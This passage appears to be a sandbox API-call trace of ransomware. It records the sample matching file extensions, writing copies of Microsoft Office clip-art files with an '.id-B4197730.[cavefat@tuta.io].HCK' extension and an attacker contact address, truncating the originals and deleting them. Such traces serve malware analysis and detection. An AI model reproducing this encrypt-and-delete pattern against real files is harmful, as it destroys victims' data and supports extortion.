(lpString=".doc") returned 4 [0164.106] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.106] lstrlenW (lpString=".docx") returned 5 [0164.106] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0164.106] lstrlenW (lpString=".pdf") returned 4 [0164.106] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString=".xls") returned 4 [0164.106] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString=".xlsx") returned 5 [0164.106] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0164.106] lstrlenW (lpString=".ppt") returned 4 [0164.106] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.106] lstrlenW (lpString=".zip") returned 4 [0164.106] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString=".rar") returned 4 [0164.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.107] lstrlenW (lpString=".bz2") returned 4 [0164.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.107] lstrlenW (lpString=".7z") returned 3 [0164.107] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.107] lstrlenW (lpString=".dbf") returned 4 [0164.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.107] lstrlenW (lpString=".1cd") returned 4 [0164.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.107] lstrlenW (lpString=".jpg") returned 4 [0164.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.107] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.107] lstrlenW (lpString="J0099161.JPG") returned 12 [0164.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.107] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7154) returned 1 [0164.107] CloseHandle (hObject=0x2f4) returned 1 [0164.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0164.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.108] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.108] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0164.108] GetLastError () returned 0x0 [0164.108] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0164.109] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0164.110] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.110] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.110] SetEndOfFile (hFile=0x360) returned 1 [0164.110] CloseHandle (hObject=0x360) returned 1 [0164.113] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.113] SetEndOfFile (hFile=0x2f4) returned 1 [0164.114] CloseHandle (hObject=0x2f4) returned 1 [0164.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0164.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.115] lstrlenW (lpString=".doc") returned 4 [0164.115] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.115] lstrlenW (lpString=".docx") returned 5 [0164.115] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0164.116] lstrlenW (lpString=".pdf") returned 4 [0164.116] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.116] lstrlenW (lpString=".xls") returned 4 [0164.116] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.116] lstrlenW (lpString=".xlsx") returned 5 [0164.116] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0164.116] lstrlenW (lpString=".ppt") returned 4 [0164.116] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.116] lstrlenW (lpString=".zip") returned 4 [0164.116] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.116] lstrlenW (lpString=".rar") returned 4 [0164.116] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.116] lstrlenW (lpString=".bz2") returned 4 [0164.116] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.116] lstrlenW (lpString=".7z") returned 3 [0164.116] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.116] lstrlenW (lpString=".dbf") returned 4 [0164.116] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.116] lstrlenW (lpString=".1cd") returned 4 [0164.116] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.116] lstrlenW (lpString=".jpg") returned 4 [0164.116] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.116] lstrlenW (lpString=".doc") returned 4 [0164.116] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.116] lstrlenW (lpString=".docx") returned 5 [0164.116] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0164.117] lstrlenW (lpString=".pdf") returned 4 [0164.117] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.117] lstrlenW (lpString=".xls") returned 4 [0164.117] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.117] lstrlenW (lpString=".xlsx") returned 5 [0164.117] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0164.117] lstrlenW (lpString=".ppt") returned 4 [0164.117] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.117] lstrlenW (lpString=".zip") returned 4 [0164.117] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.117] lstrlenW (lpString=".rar") returned 4 [0164.117] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.117] lstrlenW (lpString=".bz2") returned 4 [0164.117] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.117] lstrlenW (lpString=".7z") returned 3 [0164.117] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.117] lstrlenW (lpString=".dbf") returned 4 [0164.117] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.117] lstrlenW (lpString=".1cd") returned 4 [0164.117] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0164.117] lstrlenW (lpString=".jpg") returned 4 [0164.117] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.117] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.117] lstrlenW (lpString="J0099162.JPG") returned 12 [0164.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.118] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=19656) returned 1 [0164.118] CloseHandle (hObject=0x2f4) returned 1 [0164.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0164.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.118] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.118] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0164.119] GetLastError () returned 0x0 [0164.119] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0164.121] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0164.122] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.122] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.122] SetEndOfFile (hFile=0x360) returned 1 [0164.122] CloseHandle (hObject=0x360) returned 1 [0164.123] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.123] SetEndOfFile (hFile=0x2f4) returned 1 [0164.123] CloseHandle (hObject=0x2f4) returned 1 [0164.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.124] lstrlenW (lpString=".doc") returned 4 [0164.124] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.124] lstrlenW (lpString=".docx") returned 5 [0164.124] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0164.124] lstrlenW (lpString=".pdf") returned 4 [0164.124] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.124] lstrlenW (lpString=".xls") returned 4 [0164.124] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.124] lstrlenW (lpString=".xlsx") returned 5 [0164.124] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0164.124] lstrlenW (lpString=".ppt") returned 4 [0164.124] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.124] lstrlenW (lpString=".zip") returned 4 [0164.124] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.124] lstrlenW (lpString=".rar") returned 4 [0164.124] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.124] lstrlenW (lpString=".bz2") returned 4 [0164.124] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.124] lstrlenW (lpString=".7z") returned 3 [0164.124] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.124] lstrlenW (lpString=".dbf") returned 4 [0164.124] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.125] lstrlenW (lpString=".1cd") returned 4 [0164.125] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.125] lstrlenW (lpString=".jpg") returned 4 [0164.125] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.125] lstrlenW (lpString=".doc") returned 4 [0164.125] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.125] lstrlenW (lpString=".docx") returned 5 [0164.125] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0164.125] lstrlenW (lpString=".pdf") returned 4 [0164.125] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.125] lstrlenW (lpString=".xls") returned 4 [0164.125] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.125] lstrlenW (lpString=".xlsx") returned 5 [0164.125] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0164.125] lstrlenW (lpString=".ppt") returned 4 [0164.125] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.125] lstrlenW (lpString=".zip") returned 4 [0164.125] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.125] lstrlenW (lpString=".rar") returned 4 [0164.125] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.125] lstrlenW (lpString=".bz2") returned 4 [0164.125] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.125] lstrlenW (lpString=".7z") returned 3 [0164.125] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.125] lstrlenW (lpString=".dbf") returned 4 [0164.125] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.125] lstrlenW (lpString=".1cd") returned 4 [0164.125] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0164.125] lstrlenW (lpString=".jpg") returned 4 [0164.125] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.125] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.125] lstrlenW (lpString="J0099163.WMF") returned 12 [0164.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.126] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=22356) returned 1 [0164.126] CloseHandle (hObject=0x2f4) returned 1 [0164.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0164.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.126] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.126] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0164.127] GetLastError () returned 0x0 [0164.127] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5754, lpOverlapped=0x0) returned 1 [0164.470] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5760, lpOverlapped=0x0) returned 1 [0164.471] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.471] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.471] SetEndOfFile (hFile=0x360) returned 1 [0164.785] CloseHandle (hObject=0x360) returned 1 [0164.785] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.785] SetEndOfFile (hFile=0x2f4) returned 1 [0164.800] CloseHandle (hObject=0x2f4) returned 1 [0164.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.811] lstrlenW (lpString=".doc") returned 4 [0164.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString=".docx") returned 5 [0164.811] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0164.811] lstrlenW (lpString=".pdf") returned 4 [0164.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString=".xls") returned 4 [0164.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.811] lstrlenW (lpString=".xlsx") returned 5 [0164.811] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0164.811] lstrlenW (lpString=".ppt") returned 4 [0164.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.811] lstrlenW (lpString=".zip") returned 4 [0164.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.811] lstrlenW (lpString=".rar") returned 4 [0164.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString=".bz2") returned 4 [0164.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString=".7z") returned 3 [0164.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.811] lstrlenW (lpString=".dbf") returned 4 [0164.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.811] lstrlenW (lpString=".1cd") returned 4 [0164.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.811] lstrlenW (lpString=".jpg") returned 4 [0164.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.811] lstrlenW (lpString=".doc") returned 4 [0164.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString=".docx") returned 5 [0164.811] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0164.811] lstrlenW (lpString=".pdf") returned 4 [0164.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.811] lstrlenW (lpString=".xls") returned 4 [0164.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.811] lstrlenW (lpString=".xlsx") returned 5 [0164.812] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned 